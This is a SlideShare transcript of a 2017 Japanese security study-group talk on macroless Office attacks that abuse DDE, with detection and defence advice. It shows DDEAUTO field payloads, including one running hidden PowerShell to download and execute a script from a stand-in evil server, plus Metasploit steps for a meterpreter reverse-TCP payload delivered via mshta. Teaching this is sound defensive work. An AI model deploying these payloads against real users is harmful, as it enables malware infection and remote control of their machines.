SlideShare a Scribd company logo
DDEを悪⽤する
Macroless Office
Document Exploits
⼤和セキュリティ勉強会
2017/12/23
⽥中ザック
DDEとは?
•“Dynamic Data Exchange”
•1987年からあるIPC⼿法の1つ (Win 2.0+、OS/2)
•例:3rdパーティソフトが.xlsデータにアクセス
•OLEがDDEに取って代わる
•互換性のために残されている(T_T)
•ターゲット→MS Officeドキュメント、その他?:

Word, Excel, Powerpoint, Access, Outlook, OneNote
Macro不要のOffice攻撃
•マクロを悪用する攻撃は昔からある
•メリット:最新版でも脆弱、多くのAVに検知されない

例:Macro/OLE/.HTAによるEmpire感染(悪用禁⽌!)

https://enigma0x3.net/2016/03/15/phishing-with-empire/
•デメリット:⼈を騙す必要がある
•最近マクロに敏感になっている⼈が増えてきたので、

メモリ破損不要かつマクロ不要の攻撃が注目されている
Macro不要のOffice攻撃
•2016/05/20 Sensepost : DDE経由で.xlsからコマンド実⾏

https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
•2017/10/09 Sensepost : DDE経由で.docからコマンド実⾏

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Macro不要のOffice攻撃
挿⼊ → クイックパーツ → フィールド
Macro不要のOffice攻撃
Macro不要のOffice攻撃
• 「!式の終わりが正しくありません。」を

右クリック

フィールドコードの表示/非表示をクリック
• {DDEAUTO c:windowssystem32
cmd.exe "/k calc.exe"  }

を⼊⼒して保存
Macro不要のOffice攻撃
Macro不要のOffice攻撃
(実⾏後に表示↓)
Macro不要のOffice攻撃
{ DDEAUTO c:WindowsSystem32cmd.exe "/k 

powershell.exe -NoP -sta -NonI -W Hidden 

$e=(New-Object System.Net.WebClient).

DownloadString('http://evilserver.ninja/pp.ps1');

powershell -e $e "}
DDEを悪用する Macroless Office Document Exploits
Macro不要のOffice攻撃
Sensepostはマイクロソフトに

Responsible Disclosureしたが、

「これは脆弱性ではなく、仕様です」って

⾔われたから詳細をブログにアップ
Hancitor/Necursボットネット・Locky ランサムウェア
•⼀週間以内にRansomwareが悪用しているという報告

https://www.vmray.com/blog/dde-ransomware-macroless-word-doc-analysis/
巧妙な騙し⽅
Outlookも脆弱
•Calender Invite、RTFメール等でOutlookもターゲット
•※添付ファイルが無いため、AVが検知・防御できない
対策
対策
•MacかLinuxを利用
対策
•メール訓練でユーザ教育 (Selphishとか?)

https://www.selphish.jp/
•※100%ではないので、技術的な対策も必要
検知
•YARAルール

https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/

※回避されるかも
•Windowsイベントログの記録されるかも?
•起動プロセスを記録

https://www.securityforrealpeople.com/2017/10/exploiting-office-native-functionality.html
防御 (Word)
•「⽂書を開いたときにリンクを自動的に更新する」
のチェックを外す
防御 (Office*)
•DDEAutoを無効にする(レジストリを弄る)
•https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b
•注意:Excelがおかしくなる!
•よくテストする必要がある!
防御 (Office*)
•第三者の「micropatch」を適用?
•ソフトが壊れる可能性があるし、

サポートされていないのでおすすめしない
•https://0patch.blogspot.jp/2017/10/0patching-office-dde-ddeauto.html
防御 (Office*)
•Attack Surface Reduction (ASR)を利用(おすすめ!)

※Windows 10のWindows Defender Exploit Guard、EMET5+

https://docs.microsoft.com/en-us/windows/threat-protection/windows-defender-exploit-guard/windows-defender-exploit-guard
•Email/Webmailの実⾏ファイルをブロック
•オフィスアプリは⼦プロセスを起動できない (今回のOutlook攻撃等は防げない)
•オフィスアプリは実⾏ファイルを作成できない
•オフィスアプリは別プロセスにコードインジェクションできない
•JSとVBScriptから実⾏ファイルをダウンロードできない
•難読化されたスクリプトを実⾏できない
•オフィスマクロからWin32 APIを呼び出せない
MetasploitでDDE攻撃
•wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/
fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb
•mv dde_delivery.rb /usr/share/metasploit-framework/modules/exploits/windows/
•msfconsole
•use exploit/windows/dde_delivery 
•set SRVHOST 192.168.177.141
•set PAYLOAD windows/meterpreter/reverse_tcp
•set LHOST 192.168.177.141
•set LPORT 6708
•exploit
•{DDEAUTO C:ProgramsMicrosoftOfficeMSword.exe........windows
system32mshta.exe “http://192.168.177.141:8080/mVg3YDU3gVQ”}を.docに⼊れて送る
•リンク:https://gbhackers.com/exploiting-windows-dde-exploit/ (悪用禁⽌!)
幸いなこと∼
(ペンテスターにとっては残念なこと?)
「マイクロソフトがWordのDDE機能を

デフォルトで無効に。
月例パッチで自動適用」
http://nanashi0x.hatenablog.com/entry/2017/12/16/200000
@0x31_noseをチェック(Linux⼊門とかもある)
ExcelもいつかMSのパッチでデフォルトで

無効になる?
結論
⼀時流⾏っていた

フィッシング攻撃?
マクロを有効にすると

同じようなハードルがあるので微妙
念のため無効にした⽅が安全
ご清聴有難う御座います

More Related Content

Recently uploaded (6)

ReonHata_LLMを利用した便利の副作用顕在化のためのアイデア発想支援手法の評価_JSAI2025
ReonHata_LLMを利用した便利の副作用顕在化のためのアイデア発想支援手法の評価_JSAI2025ReonHata_LLMを利用した便利の副作用顕在化のためのアイデア発想支援手法の評価_JSAI2025
ReonHata_LLMを利用した便利の副作用顕在化のためのアイデア発想支援手法の評価_JSAI2025
Matsushita Laboratory
 
つくって壊して直して学ぶ Database on Kubernetes (CloudNative Days Summer 2025 発表資料)
つくって壊して直して学ぶ Database on Kubernetes (CloudNative Days Summer 2025 発表資料)つくって壊して直して学ぶ Database on Kubernetes (CloudNative Days Summer 2025 発表資料)
つくって壊して直して学ぶ Database on Kubernetes (CloudNative Days Summer 2025 発表資料)
NTT DATA Technology & Innovation
 
第39回人工知能学会全国大会の企画セッション「生成AIが切り拓く仕掛学の可能性」の講演資料
第39回人工知能学会全国大会の企画セッション「生成AIが切り拓く仕掛学の可能性」の講演資料第39回人工知能学会全国大会の企画セッション「生成AIが切り拓く仕掛学の可能性」の講演資料
第39回人工知能学会全国大会の企画セッション「生成AIが切り拓く仕掛学の可能性」の講演資料
Matsushita Laboratory
 
【JIMUC】2025新春セミナー_先進IT運用管理分科会_Connpass_配布用.pdf
【JIMUC】2025新春セミナー_先進IT運用管理分科会_Connpass_配布用.pdf【JIMUC】2025新春セミナー_先進IT運用管理分科会_Connpass_配布用.pdf
【JIMUC】2025新春セミナー_先進IT運用管理分科会_Connpass_配布用.pdf
ChikakoInami1
 
Security-JAWS【第37回】 勉強会 2025年5月26日(月) - GitLab.pptx
Security-JAWS【第37回】 勉強会 2025年5月26日(月) - GitLab.pptxSecurity-JAWS【第37回】 勉強会 2025年5月26日(月) - GitLab.pptx
Security-JAWS【第37回】 勉強会 2025年5月26日(月) - GitLab.pptx
TsukasaKomatsubara
 
20250525_IoTLT_vol123_kitazaki_v1___.pdf
20250525_IoTLT_vol123_kitazaki_v1___.pdf20250525_IoTLT_vol123_kitazaki_v1___.pdf
20250525_IoTLT_vol123_kitazaki_v1___.pdf
Ayachika Kitazaki
 
ReonHata_LLMを利用した便利の副作用顕在化のためのアイデア発想支援手法の評価_JSAI2025
ReonHata_LLMを利用した便利の副作用顕在化のためのアイデア発想支援手法の評価_JSAI2025ReonHata_LLMを利用した便利の副作用顕在化のためのアイデア発想支援手法の評価_JSAI2025
ReonHata_LLMを利用した便利の副作用顕在化のためのアイデア発想支援手法の評価_JSAI2025
Matsushita Laboratory
 
つくって壊して直して学ぶ Database on Kubernetes (CloudNative Days Summer 2025 発表資料)
つくって壊して直して学ぶ Database on Kubernetes (CloudNative Days Summer 2025 発表資料)つくって壊して直して学ぶ Database on Kubernetes (CloudNative Days Summer 2025 発表資料)
つくって壊して直して学ぶ Database on Kubernetes (CloudNative Days Summer 2025 発表資料)
NTT DATA Technology & Innovation
 
第39回人工知能学会全国大会の企画セッション「生成AIが切り拓く仕掛学の可能性」の講演資料
第39回人工知能学会全国大会の企画セッション「生成AIが切り拓く仕掛学の可能性」の講演資料第39回人工知能学会全国大会の企画セッション「生成AIが切り拓く仕掛学の可能性」の講演資料
第39回人工知能学会全国大会の企画セッション「生成AIが切り拓く仕掛学の可能性」の講演資料
Matsushita Laboratory
 
【JIMUC】2025新春セミナー_先進IT運用管理分科会_Connpass_配布用.pdf
【JIMUC】2025新春セミナー_先進IT運用管理分科会_Connpass_配布用.pdf【JIMUC】2025新春セミナー_先進IT運用管理分科会_Connpass_配布用.pdf
【JIMUC】2025新春セミナー_先進IT運用管理分科会_Connpass_配布用.pdf
ChikakoInami1
 
Security-JAWS【第37回】 勉強会 2025年5月26日(月) - GitLab.pptx
Security-JAWS【第37回】 勉強会 2025年5月26日(月) - GitLab.pptxSecurity-JAWS【第37回】 勉強会 2025年5月26日(月) - GitLab.pptx
Security-JAWS【第37回】 勉強会 2025年5月26日(月) - GitLab.pptx
TsukasaKomatsubara
 
20250525_IoTLT_vol123_kitazaki_v1___.pdf
20250525_IoTLT_vol123_kitazaki_v1___.pdf20250525_IoTLT_vol123_kitazaki_v1___.pdf
20250525_IoTLT_vol123_kitazaki_v1___.pdf
Ayachika Kitazaki
 

Featured (20)

2024 Trend Updates: What Really Works In SEO & Content Marketing
2024 Trend Updates: What Really Works In SEO & Content Marketing2024 Trend Updates: What Really Works In SEO & Content Marketing
2024 Trend Updates: What Really Works In SEO & Content Marketing
Search Engine Journal
 
Storytelling For The Web: Integrate Storytelling in your Design Process
Storytelling For The Web: Integrate Storytelling in your Design ProcessStorytelling For The Web: Integrate Storytelling in your Design Process
Storytelling For The Web: Integrate Storytelling in your Design Process
Chiara Aliotta
 
Artificial Intelligence, Data and Competition – SCHREPEL – June 2024 OECD dis...
Artificial Intelligence, Data and Competition – SCHREPEL – June 2024 OECD dis...Artificial Intelligence, Data and Competition – SCHREPEL – June 2024 OECD dis...
Artificial Intelligence, Data and Competition – SCHREPEL – June 2024 OECD dis...
OECD Directorate for Financial and Enterprise Affairs
 
How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...
How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...
How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...
SocialHRCamp
 
2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot
Marius Sescu
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPT
Expeed Software
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
Pixeldarts
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
ThinkNow
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
marketingartwork
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
Skeleton Technologies
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
Neil Kimberley
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
Kurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
SpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Lily Ray
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
Rajiv Jayarajah, MAppComm, ACC
 
2024 Trend Updates: What Really Works In SEO & Content Marketing
2024 Trend Updates: What Really Works In SEO & Content Marketing2024 Trend Updates: What Really Works In SEO & Content Marketing
2024 Trend Updates: What Really Works In SEO & Content Marketing
Search Engine Journal
 
Storytelling For The Web: Integrate Storytelling in your Design Process
Storytelling For The Web: Integrate Storytelling in your Design ProcessStorytelling For The Web: Integrate Storytelling in your Design Process
Storytelling For The Web: Integrate Storytelling in your Design Process
Chiara Aliotta
 
How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...
How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...
How to Leverage AI to Boost Employee Wellness - Lydia Di Francesco - SocialHR...
SocialHRCamp
 
2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot
Marius Sescu
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPT
Expeed Software
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
Pixeldarts
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
ThinkNow
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
marketingartwork
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
Neil Kimberley
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
Kurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
SpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Lily Ray
 

DDEを悪用する Macroless Office Document Exploits